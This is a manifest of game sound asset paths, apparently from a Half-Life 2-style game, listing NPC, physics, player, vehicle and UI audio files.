+npc/scanner/combat_scan_loop4.wav +npc/scanner/combat_scan_loop6.wav +npc/scanner/scanner_alert1.wav +npc/scanner/scanner_blip1.wav +npc/scanner/scanner_combat_loop1.wav +npc/scanner/scanner_electric1.wav +npc/scanner/scanner_electric2.wav +npc/scanner/scanner_explode_crash2.wav +npc/scanner/scanner_nearmiss1.wav +npc/scanner/scanner_nearmiss2.wav +npc/scanner/scanner_pain1.wav +npc/scanner/scanner_pain2.wav +npc/scanner/scanner_photo1.wav +npc/scanner/scanner_scan1.wav +npc/scanner/scanner_scan2.wav +npc/scanner/scanner_scan4.wav +npc/scanner/scanner_scan5.wav +npc/scanner/scanner_scan_loop1.wav +npc/scanner/scanner_scan_loop2.wav +npc/scanner/scanner_siren1.wav +npc/scanner/scanner_siren2.wav +npc/scanner/scanner_talk1.wav +npc/scanner/scanner_talk2.wav +npc/sniper/echo1.wav +npc/sniper/reload1.wav +npc/sniper/sniper1.wav +npc/sniper/sn_blockdown.wav +npc/stalker/breathing3.wav +npc/stalker/go_alert2.wav +npc/stalker/go_alert2a.wav +npc/stalker/laser_burn.wav +npc/stalker/laser_flesh.wav +npc/stalker/stalker_footstep_left1.wav +npc/stalker/stalker_footstep_left2.wav +npc/stalker/stalker_footstep_right1.wav +npc/stalker/stalker_footstep_right2.wav +npc/strider/charging.wav +npc/strider/creak1.wav +npc/strider/creak2.wav +npc/strider/creak3.wav +npc/strider/creak4.wav +npc/strider/fire.wav +npc/strider/striderx_alert2.wav +npc/strider/striderx_alert4.wav +npc/strider/striderx_alert5.wav +npc/strider/striderx_alert6.wav +npc/strider/striderx_die1.wav +npc/strider/striderx_pain2.wav +npc/strider/striderx_pain5.wav +npc/strider/striderx_pain7.wav +npc/strider/striderx_pain8.wav +npc/strider/strider_legstretch1.wav +npc/strider/strider_legstretch2.wav +npc/strider/strider_legstretch3.wav +npc/strider/strider_minigun.wav +npc/strider/strider_minigun2.wav +npc/strider/strider_skewer1.wav +npc/strider/strider_step1.wav +npc/strider/strider_step2.wav +npc/strider/strider_step3.wav +npc/strider/strider_step4.wav +npc/strider/strider_step5.wav +npc/strider/strider_step6.wav +npc/turret_floor/active.wav +npc/turret_floor/alarm.wav +npc/turret_floor/alert.wav +npc/turret_floor/click1.wav +npc/turret_floor/deploy.wav +npc/turret_floor/die.wav +npc/turret_floor/ping.wav +npc/turret_floor/retract.wav +npc/turret_floor/shoot1.wav +npc/turret_floor/shoot2.wav +npc/turret_floor/shoot3.wav +npc/turret_wall/turret_loop1.wav +npc/vort/attack_charge.wav +npc/vort/attack_shoot.wav +npc/vort/claw_swing1.wav +npc/vort/claw_swing2.wav +npc/vort/foot_hit.wav +npc/vort/health_charge.wav +npc/vort/vort_foot1.wav +npc/vort/vort_foot2.wav +npc/vort/vort_foot3.wav +npc/vort/vort_foot4.wav +npc/vort/vort_pain3.wav +npc/waste_scanner/grenade_fire.wav +npc/zombie/claw_miss1.wav +npc/zombie/claw_miss2.wav +npc/zombie/claw_strike1.wav +npc/zombie/claw_strike2.wav +npc/zombie/claw_strike3.wav +npc/zombie/foot1.wav +npc/zombie/foot2.wav +npc/zombie/foot3.wav +npc/zombie/foot_slide1.wav +npc/zombie/foot_slide2.wav +npc/zombie/foot_slide3.wav +npc/zombie/moan_loop1.wav +npc/zombie/moan_loop2.wav +npc/zombie/moan_loop3.wav +npc/zombie/moan_loop4.wav +npc/zombie/zombie_alert1.wav +npc/zombie/zombie_alert2.wav +npc/zombie/zombie_alert3.wav +npc/zombie/zombie_die1.wav +npc/zombie/zombie_die2.wav +npc/zombie/zombie_die3.wav +npc/zombie/zombie_hit.wav +npc/zombie/zombie_pain1.wav +npc/zombie/zombie_pain2.wav +npc/zombie/zombie_pain3.wav +npc/zombie/zombie_pain4.wav +npc/zombie/zombie_pain5.wav +npc/zombie/zombie_pain6.wav +npc/zombie/zombie_pound_door.wav +npc/zombie/zombie_voice_idle1.wav +npc/zombie/zombie_voice_idle10.wav +npc/zombie/zombie_voice_idle11.wav +npc/zombie/zombie_voice_idle12.wav +npc/zombie/zombie_voice_idle13.wav +npc/zombie/zombie_voice_idle14.wav +npc/zombie/zombie_voice_idle2.wav +npc/zombie/zombie_voice_idle3.wav +npc/zombie/zombie_voice_idle4.wav +npc/zombie/zombie_voice_idle5.wav +npc/zombie/zombie_voice_idle6.wav +npc/zombie/zombie_voice_idle7.wav +npc/zombie/zombie_voice_idle8.wav +npc/zombie/zombie_voice_idle9.wav +npc/zombie/zo_attack1.wav +npc/zombie/zo_attack2.wav +npc/zombie_poison/pz_alert1.wav +npc/zombie_poison/pz_alert2.wav +npc/zombie_poison/pz_breathe_loop1.wav +npc/zombie_poison/pz_breathe_loop2.wav +npc/zombie_poison/pz_call1.wav +npc/zombie_poison/pz_die1.wav +npc/zombie_poison/pz_die2.wav +npc/zombie_poison/pz_idle2.wav +npc/zombie_poison/pz_idle3.wav +npc/zombie_poison/pz_idle4.wav +npc/zombie_poison/pz_left_foot1.wav +npc/zombie_poison/pz_pain1.wav +npc/zombie_poison/pz_pain2.wav +npc/zombie_poison/pz_pain3.wav +npc/zombie_poison/pz_right_foot1.wav +npc/zombie_poison/pz_throw2.wav +npc/zombie_poison/pz_throw3.wav +npc/zombie_poison/pz_warn1.wav +npc/zombie_poison/pz_warn2.wav +physics/body/body_medium_break2.wav +physics/body/body_medium_break3.wav +physics/body/body_medium_break4.wav +physics/body/body_medium_impact_hard1.wav +physics/body/body_medium_impact_hard2.wav +physics/body/body_medium_impact_hard3.wav +physics/body/body_medium_impact_hard4.wav +physics/body/body_medium_impact_hard5.wav +physics/body/body_medium_impact_hard6.wav +physics/body/body_medium_impact_soft1.wav +physics/body/body_medium_impact_soft2.wav +physics/body/body_medium_impact_soft3.wav +physics/body/body_medium_impact_soft4.wav +physics/body/body_medium_impact_soft5.wav +physics/body/body_medium_impact_soft6.wav +physics/body/body_medium_impact_soft7.wav +physics/body/body_medium_scrape_rough_loop1.wav +physics/body/body_medium_scrape_smooth_loop1.wav +physics/cardboard/cardboard_box_break1.wav +physics/cardboard/cardboard_box_break2.wav +physics/cardboard/cardboard_box_break3.wav +physics/cardboard/cardboard_box_impact_bullet1.wav +physics/cardboard/cardboard_box_impact_bullet2.wav +physics/cardboard/cardboard_box_impact_bullet3.wav +physics/cardboard/cardboard_box_impact_bullet4.wav +physics/cardboard/cardboard_box_impact_bullet5.wav +physics/cardboard/cardboard_box_impact_hard1.wav +physics/cardboard/cardboard_box_impact_hard2.wav +physics/cardboard/cardboard_box_impact_hard3.wav +physics/cardboard/cardboard_box_impact_hard4.wav +physics/cardboard/cardboard_box_impact_hard5.wav +physics/cardboard/cardboard_box_impact_hard6.wav +physics/cardboard/cardboard_box_impact_hard7.wav +physics/cardboard/cardboard_box_impact_soft1.wav +physics/cardboard/cardboard_box_impact_soft2.wav +physics/cardboard/cardboard_box_impact_soft3.wav +physics/cardboard/cardboard_box_impact_soft4.wav +physics/cardboard/cardboard_box_impact_soft5.wav +physics/cardboard/cardboard_box_impact_soft6.wav +physics/cardboard/cardboard_box_impact_soft7.wav +physics/cardboard/cardboard_box_scrape_rough_loop1.wav +physics/cardboard/cardboard_box_scrape_smooth_loop1.wav +physics/cardboard/cardboard_cup_impact_hard1.wav +physics/cardboard/cardboard_cup_impact_hard2.wav +physics/cardboard/cardboard_cup_impact_hard3.wav +physics/concrete/boulder_impact_hard1.wav +physics/concrete/boulder_impact_hard2.wav +physics/concrete/boulder_impact_hard3.wav +physics/concrete/boulder_impact_hard4.wav +physics/concrete/concrete_block_impact_hard1.wav +physics/concrete/concrete_block_impact_hard2.wav +physics/concrete/concrete_block_impact_hard3.wav +physics/concrete/concrete_block_scrape_rough_loop1.wav +physics/concrete/concrete_break2.wav +physics/concrete/concrete_break3.wav +physics/concrete/concrete_impact_bullet1.wav +physics/concrete/concrete_impact_bullet2.wav +physics/concrete/concrete_impact_bullet3.wav +physics/concrete/concrete_impact_bullet4.wav +physics/concrete/concrete_impact_hard1.wav +physics/concrete/concrete_impact_hard2.wav +physics/concrete/concrete_impact_hard3.wav +physics/concrete/concrete_impact_soft1.wav +physics/concrete/concrete_impact_soft2.wav +physics/concrete/concrete_impact_soft3.wav +physics/concrete/concrete_scrape_smooth_loop1.wav +physics/concrete/rock_impact_hard1.wav +physics/concrete/rock_impact_hard2.wav +physics/concrete/rock_impact_hard3.wav +physics/concrete/rock_impact_hard4.wav +physics/concrete/rock_impact_hard5.wav +physics/concrete/rock_impact_hard6.wav +physics/concrete/rock_impact_soft1.wav +physics/concrete/rock_impact_soft2.wav +physics/concrete/rock_impact_soft3.wav +physics/concrete/rock_scrape_rough_loop1.wav +physics/flesh/flesh_bloody_break.wav +physics/flesh/flesh_bloody_impact_hard1.wav +physics/flesh/flesh_impact_bullet1.wav +physics/flesh/flesh_impact_bullet2.wav +physics/flesh/flesh_impact_bullet3.wav +physics/flesh/flesh_impact_bullet4.wav +physics/flesh/flesh_impact_bullet5.wav +physics/flesh/flesh_impact_hard1.wav +physics/flesh/flesh_impact_hard2.wav +physics/flesh/flesh_impact_hard3.wav +physics/flesh/flesh_impact_hard4.wav +physics/flesh/flesh_impact_hard5.wav +physics/flesh/flesh_impact_hard6.wav +physics/flesh/flesh_scrape_rough_loop.wav +physics/flesh/flesh_squishy_impact_hard1.wav +physics/flesh/flesh_squishy_impact_hard2.wav +physics/flesh/flesh_squishy_impact_hard3.wav +physics/flesh/flesh_squishy_impact_hard4.wav +physics/flesh/flesh_strider_impact_bullet1.wav +physics/flesh/flesh_strider_impact_bullet2.wav +physics/flesh/flesh_strider_impact_bullet3.wav +physics/glass/glass_bottle_break1.wav +physics/glass/glass_bottle_break2.wav +physics/glass/glass_bottle_impact_hard1.wav +physics/glass/glass_bottle_impact_hard2.wav +physics/glass/glass_bottle_impact_hard3.wav +physics/glass/glass_cup_break1.wav +physics/glass/glass_cup_break2.wav +physics/glass/glass_impact_bullet1.wav +physics/glass/glass_impact_bullet2.wav +physics/glass/glass_impact_bullet3.wav +physics/glass/glass_impact_bullet4.wav +physics/glass/glass_impact_hard1.wav +physics/glass/glass_impact_hard2.wav +physics/glass/glass_impact_hard3.wav +physics/glass/glass_impact_soft1.wav +physics/glass/glass_impact_soft2.wav +physics/glass/glass_impact_soft3.wav +physics/glass/glass_largesheet_break1.wav +physics/glass/glass_largesheet_break2.wav +physics/glass/glass_largesheet_break3.wav +physics/glass/glass_pottery_break1.wav +physics/glass/glass_pottery_break2.wav +physics/glass/glass_pottery_break3.wav +physics/glass/glass_pottery_break4.wav +physics/glass/glass_sheet_break1.wav +physics/glass/glass_sheet_break2.wav +physics/glass/glass_sheet_break3.wav +physics/glass/glass_sheet_impact_hard1.wav +physics/glass/glass_sheet_impact_hard2.wav +physics/glass/glass_sheet_impact_hard3.wav +physics/glass/glass_sheet_impact_soft1.wav +physics/glass/glass_sheet_impact_soft2.wav +physics/glass/glass_sheet_impact_soft3.wav +physics/glass/glass_sheet_step1.wav +physics/glass/glass_sheet_step2.wav +physics/glass/glass_sheet_step3.wav +physics/glass/glass_sheet_step4.wav +physics/metal/canister_scrape_rough_loop1.wav +physics/metal/canister_scrape_smooth_loop1.wav +physics/metal/metal_barrel_impact_hard1.wav +physics/metal/metal_barrel_impact_hard2.wav +physics/metal/metal_barrel_impact_hard3.wav +physics/metal/metal_barrel_impact_hard5.wav +physics/metal/metal_barrel_impact_hard6.wav +physics/metal/metal_barrel_impact_hard7.wav +physics/metal/metal_barrel_impact_soft1.wav +physics/metal/metal_barrel_impact_soft2.wav +physics/metal/metal_barrel_impact_soft3.wav +physics/metal/metal_barrel_impact_soft4.wav +physics/metal/metal_box_break1.wav +physics/metal/metal_box_break2.wav +physics/metal/metal_box_footstep1.wav +physics/metal/metal_box_footstep2.wav +physics/metal/metal_box_footstep3.wav +physics/metal/metal_box_footstep4.wav +physics/metal/metal_box_impact_bullet1.wav +physics/metal/metal_box_impact_bullet2.wav +physics/metal/metal_box_impact_bullet3.wav +physics/metal/metal_box_impact_hard1.wav +physics/metal/metal_box_impact_hard2.wav +physics/metal/metal_box_impact_hard3.wav +physics/metal/metal_box_impact_soft1.wav +physics/metal/metal_box_impact_soft2.wav +physics/metal/metal_box_impact_soft3.wav +physics/metal/metal_box_scrape_rough_loop1.wav +physics/metal/metal_box_scrape_rough_loop2.wav +physics/metal/metal_box_scrape_smooth_loop1.wav +physics/metal/metal_box_strain1.wav +physics/metal/metal_box_strain2.wav +physics/metal/metal_box_strain3.wav +physics/metal/metal_box_strain4.wav +physics/metal/metal_canister_impact_hard1.wav +physics/metal/metal_canister_impact_hard2.wav +physics/metal/metal_canister_impact_hard3.wav +physics/metal/metal_canister_impact_soft1.wav +physics/metal/metal_canister_impact_soft2.wav +physics/metal/metal_canister_impact_soft3.wav +physics/metal/metal_chainlink_impact_hard1.wav +physics/metal/metal_chainlink_impact_hard2.wav +physics/metal/metal_chainlink_impact_hard3.wav +physics/metal/metal_chainlink_impact_soft1.wav +physics/metal/metal_chainlink_impact_soft2.wav +physics/metal/metal_chainlink_impact_soft3.wav +physics/metal/metal_chainlink_scrape_rough_loop1.wav +physics/metal/metal_computer_impact_bullet1.wav +physics/metal/metal_computer_impact_bullet2.wav +physics/metal/metal_computer_impact_bullet3.wav +physics/metal/metal_computer_impact_hard1.wav +physics/metal/metal_computer_impact_hard2.wav +physics/metal/metal_computer_impact_hard3.wav +physics/metal/metal_computer_impact_soft1.wav +physics/metal/metal_computer_impact_soft2.wav +physics/metal/metal_computer_impact_soft3.wav +physics/metal/metal_grate_impact_hard1.wav +physics/metal/metal_grate_impact_hard2.wav +physics/metal/metal_grate_impact_hard3.wav +physics/metal/metal_grate_impact_soft1.wav +physics/metal/metal_grate_impact_soft2.wav +physics/metal/metal_grate_impact_soft3.wav +physics/metal/metal_grenade_impact_hard1.wav +physics/metal/metal_grenade_impact_hard2.wav +physics/metal/metal_grenade_impact_hard3.wav +physics/metal/metal_grenade_impact_soft1.wav +physics/metal/metal_grenade_impact_soft2.wav +physics/metal/metal_grenade_impact_soft3.wav +physics/metal/metal_grenade_scrape_rough_loop1.wav +physics/metal/metal_grenade_scrape_smooth_loop1.wav +physics/metal/metal_large_debris1.wav +physics/metal/metal_large_debris2.wav +physics/metal/metal_sheet_impact_bullet1.wav +physics/metal/metal_sheet_impact_bullet2.wav +physics/metal/metal_sheet_impact_hard2.wav +physics/metal/metal_sheet_impact_hard6.wav +physics/metal/metal_sheet_impact_hard7.wav +physics/metal/metal_sheet_impact_hard8.wav +physics/metal/metal_sheet_impact_soft2.wav +physics/metal/metal_solid_impact_bullet1.wav +physics/metal/metal_solid_impact_bullet2.wav +physics/metal/metal_solid_impact_bullet3.wav +physics/metal/metal_solid_impact_bullet4.wav +physics/metal/metal_solid_impact_hard1.wav +physics/metal/metal_solid_impact_hard4.wav +physics/metal/metal_solid_impact_hard5.wav +physics/metal/metal_solid_impact_soft1.wav +physics/metal/metal_solid_impact_soft2.wav +physics/metal/metal_solid_impact_soft3.wav +physics/metal/metal_solid_strain1.wav +physics/metal/metal_solid_strain2.wav +physics/metal/metal_solid_strain3.wav +physics/metal/metal_solid_strain4.wav +physics/metal/metal_solid_strain5.wav +physics/metal/paintcan_impact_hard1.wav +physics/metal/paintcan_impact_hard2.wav +physics/metal/paintcan_impact_hard3.wav +physics/metal/paintcan_impact_soft1.wav +physics/metal/paintcan_impact_soft2.wav +physics/metal/paintcan_impact_soft3.wav +physics/metal/sawblade_stick1.wav +physics/metal/sawblade_stick2.wav +physics/metal/sawblade_stick3.wav +physics/metal/soda_can_impact_hard1.wav +physics/metal/soda_can_impact_hard2.wav +physics/metal/soda_can_impact_hard3.wav +physics/metal/soda_can_impact_soft1.wav +physics/metal/soda_can_impact_soft2.wav +physics/metal/soda_can_impact_soft3.wav +physics/metal/soda_can_scrape_rough_loop1.wav +physics/metal/weapon_footstep1.wav +physics/metal/weapon_footstep2.wav +physics/metal/weapon_impact_hard1.wav +physics/metal/weapon_impact_hard2.wav +physics/metal/weapon_impact_hard3.wav +physics/metal/weapon_impact_soft1.wav +physics/metal/weapon_impact_soft2.wav +physics/metal/weapon_impact_soft3.wav +physics/nearmiss/whoosh_huge1.wav +physics/nearmiss/whoosh_huge2.wav +physics/nearmiss/whoosh_large1.wav +physics/nearmiss/whoosh_large4.wav +physics/plaster/ceilingtile_break1.wav +physics/plaster/ceilingtile_break2.wav +physics/plaster/ceiling_tile_impact_bullet1.wav +physics/plaster/ceiling_tile_impact_bullet2.wav +physics/plaster/ceiling_tile_impact_bullet3.wav +physics/plaster/ceiling_tile_impact_hard1.wav +physics/plaster/ceiling_tile_impact_hard2.wav +physics/plaster/ceiling_tile_impact_hard3.wav +physics/plaster/ceiling_tile_impact_soft1.wav +physics/plaster/ceiling_tile_impact_soft2.wav +physics/plaster/ceiling_tile_impact_soft3.wav +physics/plaster/ceiling_tile_scrape_smooth_loop1.wav +physics/plaster/ceiling_tile_step1.wav +physics/plaster/ceiling_tile_step2.wav +physics/plaster/ceiling_tile_step3.wav +physics/plaster/ceiling_tile_step4.wav +physics/plaster/drywall_footstep1.wav +physics/plaster/drywall_footstep2.wav +physics/plaster/drywall_footstep3.wav +physics/plaster/drywall_footstep4.wav +physics/plaster/drywall_impact_hard1.wav +physics/plaster/drywall_impact_hard2.wav +physics/plaster/drywall_impact_hard3.wav +physics/plaster/drywall_impact_soft1.wav +physics/plaster/drywall_impact_soft2.wav +physics/plaster/drywall_impact_soft3.wav +physics/plastic/plastic_barrel_break1.wav +physics/plastic/plastic_barrel_break2.wav +physics/plastic/plastic_barrel_impact_bullet1.wav +physics/plastic/plastic_barrel_impact_bullet2.wav +physics/plastic/plastic_barrel_impact_bullet3.wav +physics/plastic/plastic_barrel_impact_hard1.wav +physics/plastic/plastic_barrel_impact_hard2.wav +physics/plastic/plastic_barrel_impact_hard3.wav +physics/plastic/plastic_barrel_impact_hard4.wav +physics/plastic/plastic_barrel_impact_soft1.wav +physics/plastic/plastic_barrel_impact_soft2.wav +physics/plastic/plastic_barrel_impact_soft3.wav +physics/plastic/plastic_barrel_impact_soft4.wav +physics/plastic/plastic_barrel_impact_soft5.wav +physics/plastic/plastic_barrel_impact_soft6.wav +physics/plastic/plastic_barrel_scrape_rough_loop1.wav +physics/plastic/plastic_barrel_scrape_smooth_loop1.wav +physics/plastic/plastic_box_break1.wav +physics/plastic/plastic_box_break2.wav +physics/plastic/plastic_box_impact_bullet1.wav +physics/plastic/plastic_box_impact_bullet2.wav +physics/plastic/plastic_box_impact_bullet3.wav +physics/plastic/plastic_box_impact_bullet4.wav +physics/plastic/plastic_box_impact_bullet5.wav +physics/plastic/plastic_box_impact_hard1.wav +physics/plastic/plastic_box_impact_hard2.wav +physics/plastic/plastic_box_impact_hard3.wav +physics/plastic/plastic_box_impact_hard4.wav +physics/plastic/plastic_box_impact_soft1.wav +physics/plastic/plastic_box_impact_soft2.wav +physics/plastic/plastic_box_impact_soft3.wav +physics/plastic/plastic_box_impact_soft4.wav +physics/plastic/plastic_box_scrape_rough_loop1.wav +physics/plastic/plastic_box_scrape_smooth_loop1.wav +physics/plastic/plastic_box_scrape_smooth_loop2.wav +physics/rubber/rubber_tire_impact_bullet1.wav +physics/rubber/rubber_tire_impact_bullet2.wav +physics/rubber/rubber_tire_impact_bullet3.wav +physics/rubber/rubber_tire_impact_hard1.wav +physics/rubber/rubber_tire_impact_hard2.wav +physics/rubber/rubber_tire_impact_hard3.wav +physics/rubber/rubber_tire_impact_soft1.wav +physics/rubber/rubber_tire_impact_soft2.wav +physics/rubber/rubber_tire_impact_soft3.wav +physics/surfaces/sand_impact_bullet1.wav +physics/surfaces/sand_impact_bullet2.wav +physics/surfaces/sand_impact_bullet3.wav +physics/surfaces/sand_impact_bullet4.wav +physics/surfaces/tile_impact_bullet1.wav +physics/surfaces/tile_impact_bullet2.wav +physics/surfaces/tile_impact_bullet3.wav +physics/surfaces/tile_impact_bullet4.wav +physics/surfaces/underwater_impact_bullet1.wav +physics/surfaces/underwater_impact_bullet2.wav +physics/surfaces/underwater_impact_bullet3.wav +physics/wood/wood_box_break1.wav +physics/wood/wood_box_break2.wav +physics/wood/wood_box_footstep1.wav +physics/wood/wood_box_footstep2.wav +physics/wood/wood_box_footstep3.wav +physics/wood/wood_box_footstep4.wav +physics/wood/wood_box_impact_bullet1.wav +physics/wood/wood_box_impact_bullet2.wav +physics/wood/wood_box_impact_bullet3.wav +physics/wood/wood_box_impact_bullet4.wav +physics/wood/wood_box_impact_hard1.wav +physics/wood/wood_box_impact_hard2.wav +physics/wood/wood_box_impact_hard3.wav +physics/wood/wood_box_Impact_hard4.wav +physics/wood/wood_box_impact_hard5.wav +physics/wood/wood_box_impact_hard6.wav +physics/wood/wood_box_impact_soft1.wav +physics/wood/wood_box_impact_soft2.wav +physics/wood/wood_box_impact_soft3.wav +physics/wood/wood_box_scrape_rough_loop1.wav +physics/wood/wood_box_scrape_smooth_loop1.wav +physics/wood/wood_crate_break1.wav +physics/wood/wood_crate_break2.wav +physics/wood/wood_crate_break3.wav +physics/wood/wood_crate_break4.wav +physics/wood/wood_crate_break5.wav +physics/wood/wood_crate_impact_hard1.wav +physics/wood/wood_crate_impact_hard2.wav +physics/wood/wood_crate_impact_hard3.wav +physics/wood/wood_crate_impact_hard4.wav +physics/wood/wood_crate_impact_hard5.wav +physics/wood/wood_crate_impact_soft1.wav +physics/wood/wood_crate_impact_soft2.wav +physics/wood/wood_crate_impact_soft3.wav +physics/wood/wood_crate_scrape_rough_loop1.wav +physics/wood/wood_furniture_break1.wav +physics/wood/wood_furniture_break2.wav +physics/wood/wood_furniture_impact_soft1.wav +physics/wood/wood_furniture_impact_soft2.wav +physics/wood/wood_furniture_impact_soft3.wav +physics/wood/wood_panel_break1.wav +physics/wood/wood_panel_impact_hard1.wav +physics/wood/wood_plank_break1.wav +physics/wood/wood_plank_break2.wav +physics/wood/wood_plank_break3.wav +physics/wood/wood_plank_break4.wav +physics/wood/wood_plank_impact_hard1.wav +physics/wood/wood_plank_impact_hard2.wav +physics/wood/wood_plank_impact_hard3.wav +physics/wood/wood_plank_impact_hard4.wav +physics/wood/wood_plank_impact_hard5.wav +physics/wood/wood_plank_impact_soft1.wav +physics/wood/wood_plank_impact_soft2.wav +physics/wood/wood_plank_impact_soft3.wav +physics/wood/wood_plank_scrape_rough_loop1.wav +physics/wood/wood_plank_scrape_smooth_loop1.wav +physics/wood/wood_solid_impact_bullet1.wav +physics/wood/wood_solid_impact_bullet2.wav +physics/wood/wood_solid_impact_bullet3.wav +physics/wood/wood_solid_impact_bullet4.wav +physics/wood/wood_solid_impact_bullet5.wav +physics/wood/wood_solid_impact_hard1.wav +physics/wood/wood_solid_impact_hard2.wav +physics/wood/wood_solid_impact_hard3.wav +physics/wood/wood_solid_impact_soft1.wav +physics/wood/wood_solid_impact_soft2.wav +physics/wood/wood_solid_impact_soft3.wav +physics/wood/wood_solid_scrape_rough_loop1.wav +physics/wood/wood_strain2.wav +physics/wood/wood_strain3.wav +physics/wood/wood_strain4.wav +plats/bigstop1.wav +plats/elevator_large_start1.wav +plats/elevator_large_stop1.wav +plats/elevator_loop1.wav +plats/elevator_move_loop1.wav +plats/elevator_move_loop2.wav +plats/elevator_start1.wav +plats/elevator_stop.wav +plats/elevator_stop1.wav +plats/elevator_stop2.wav +plats/elevbell1.wav +plats/hall_elev_door.wav +plats/hall_elev_move.wav +plats/hall_elev_stop.wav +plats/heavymove1.wav +plats/platform_citadel_ring.wav +plats/platstop1.wav +plats/rackmove1.wav +plats/rackstop1.wav +plats/railstop1.wav +plats/skylift_move.wav +plats/skylift_stop.wav +plats/squeekmove1.wav +plats/squeekstop1.wav +plats/talkmove2.wav +plats/train_use1.wav +plats/tram_hit1.wav +plats/tram_hit4.wav +plats/tram_motor.wav +plats/tram_motor_start.wav +plats/tram_move.wav +plats/tram_squeak.wav +plats/ttrain_brake1.wav +plats/crane/vertical_start.wav +plats/crane/vertical_stop.wav +player/breathe1.wav +player/geiger1.wav +player/geiger2.wav +player/geiger3.wav +player/heartbeat1.wav +player/pl_burnpain1.wav +player/pl_burnpain2.wav +player/pl_burnpain3.wav +player/pl_drown1.wav +player/pl_drown2.wav +player/pl_drown3.wav +player/pl_fallpain1.wav +player/pl_fallpain3.wav +player/pl_pain5.wav +player/pl_pain6.wav +player/pl_pain7.wav +player/pl_shell1.wav +player/pl_shell2.wav +player/pl_shell3.wav +player/sprayer.wav +player/suit_denydevice.WAV +player/suit_sprint.wav +player/footsteps/chainlink1.wav +player/footsteps/chainlink2.wav +player/footsteps/chainlink3.wav +player/footsteps/chainlink4.wav +player/footsteps/concrete1.wav +player/footsteps/concrete2.wav +player/footsteps/concrete3.wav +player/footsteps/concrete4.wav +player/footsteps/dirt1.wav +player/footsteps/dirt2.wav +player/footsteps/dirt3.wav +player/footsteps/dirt4.wav +player/footsteps/duct1.wav +player/footsteps/duct2.wav +player/footsteps/duct3.wav +player/footsteps/duct4.wav +player/footsteps/grass1.wav +player/footsteps/grass2.wav +player/footsteps/grass3.wav +player/footsteps/grass4.wav +player/footsteps/gravel1.wav +player/footsteps/gravel2.wav +player/footsteps/gravel3.wav +player/footsteps/gravel4.wav +player/footsteps/ladder1.wav +player/footsteps/ladder2.wav +player/footsteps/ladder3.wav +player/footsteps/ladder4.wav +player/footsteps/metal1.wav +player/footsteps/metal2.wav +player/footsteps/metal3.wav +player/footsteps/metal4.wav +player/footsteps/metalgrate1.wav +player/footsteps/metalgrate2.wav +player/footsteps/metalgrate3.wav +player/footsteps/metalgrate4.wav +player/footsteps/mud1.wav +player/footsteps/mud2.wav +player/footsteps/mud3.wav +player/footsteps/mud4.wav +player/footsteps/sand1.wav +player/footsteps/sand2.wav +player/footsteps/sand3.wav +player/footsteps/sand4.wav +player/footsteps/slosh1.wav +player/footsteps/slosh2.wav +player/footsteps/slosh3.wav +player/footsteps/slosh4.wav +player/footsteps/tile1.wav +player/footsteps/tile2.wav +player/footsteps/tile3.wav +player/footsteps/tile4.wav +player/footsteps/wade1.wav +player/footsteps/wade2.wav +player/footsteps/wade3.wav +player/footsteps/wade4.wav +player/footsteps/wade5.wav +player/footsteps/wade6.wav +player/footsteps/wade7.wav +player/footsteps/wade8.wav +player/footsteps/wood1.wav +player/footsteps/wood2.wav +player/footsteps/wood3.wav +player/footsteps/wood4.wav +player/footsteps/woodpanel1.wav +player/footsteps/woodpanel2.wav +player/footsteps/woodpanel3.wav +player/footsteps/woodpanel4.wav +player/general/flesh_burn.wav +Resource/warning.wav +test/overwatch batch converters/convert to 8 bit.bcs +test/overwatch batch converters/preprocess voice normalize.bcs +test/overwatch batch converters/voice to loudspeaker voice.bcs +test/overwatch batch converters/voice to radio voice.bcs +test/overwatch batch converters/voice trim silence start and end.bcs +test/temp/soundscape_test/cabin_ambience.wav +test/temp/soundscape_test/cabin_wall.wav +test/temp/soundscape_test/outdoor.wav +test/temp/soundscape_test/tv_music.wav +UI/buttonclick.wav +UI/buttonclickrelease.wav +UI/buttonrollover.wav +vehicles/atv_ammo_close.wav +vehicles/atv_ammo_open.wav +vehicles/chopper_rotor2.wav +vehicles/diesel_loop2.wav +vehicles/digger_grinder_loop1.wav +vehicles/digger_grinder_stop1.wav +vehicles/fast_windloop1.wav +vehicles/tank_readyfire1.wav +vehicles/tank_turret_loop1.wav +vehicles/tank_turret_start1.wav +vehicles/tank_turret_stop1.wav +vehicles/Airboat/fan_blade_fullthrottle_loop1.wav +vehicles/Airboat/fan_blade_idle_loop1.wav +vehicles/Airboat/fan_motor_fullthrottle_loop1.wav +vehicles/Airboat/fan_motor_idle_loop1.wav +vehicles/Airboat/fan_motor_shut_off1.wav +vehicles/Airboat/fan_motor_start1.wav +vehicles/Airboat/pontoon_fast_water_loop1.wav +vehicles/Airboat/pontoon_fast_water_loop2.wav +vehicles/Airboat/pontoon_impact_hard1.wav +vehicles/Airboat/pontoon_impact_hard2.wav +vehicles/Airboat/pontoon_scrape_rough1.wav +vehicles/Airboat/pontoon_scrape_rough2.wav +vehicles/Airboat/pontoon_scrape_rough3.wav +vehicles/Airboat/pontoon_scrape_smooth1.wav +vehicles/Airboat/pontoon_scrape_smooth2.wav +vehicles/Airboat/pontoon_scrape_smooth3.wav +vehicles/Airboat/pontoon_splash1.wav +vehicles/Airboat/pontoon_splash2.wav +vehicles/Airboat/pontoon_stopped_water_loop1.wav +vehicles/APC/apc_cruise_loop3.wav +vehicles/APC/apc_firstgear_loop1.wav +vehicles/APC/apc_idle1.wav +vehicles/APC/apc_shutdown.wav +vehicles/APC/apc_slowdown_fast_loop5.wav +vehicles/APC/apc_start_loop3.wav +vehicles/Crane/crane_creak1.wav +vehicles/Crane/crane_creak2.wav +vehicles/Crane/crane_creak3.wav +vehicles/Crane/crane_creak4.wav +vehicles/Crane/crane_extend_loop1.wav +vehicles/Crane/crane_extend_stop.wav +vehicles/Crane/crane_idle_loop3.wav +vehicles/Crane/crane_magnet_grab.wav +vehicles/Crane/crane_magnet_release.wav +vehicles/Crane/crane_magnet_switchon.wav +vehicles/Crane/crane_slow_to_idle_loop4.wav +vehicles/Crane/crane_startengine1.wav +vehicles/Crane/crane_turn_loop2.wav +vehicles/Jetski/jetski_no_gas_start.wav +vehicles/Jetski/jetski_off.wav +vehicles/v8/first.wav +vehicles/v8/fourth_cruise_loop2.wav +vehicles/v8/second.wav +vehicles/v8/skid_highfriction.wav +vehicles/v8/skid_lowfriction.wav +vehicles/v8/skid_normalfriction.wav +vehicles/v8/third.wav +vehicles/v8/v8_firstgear_rev_loop1.wav +vehicles/v8/v8_idle_loop1.wav +vehicles/v8/v8_rev_short_loop1.wav +vehicles/v8/v8_start_loop1.wav 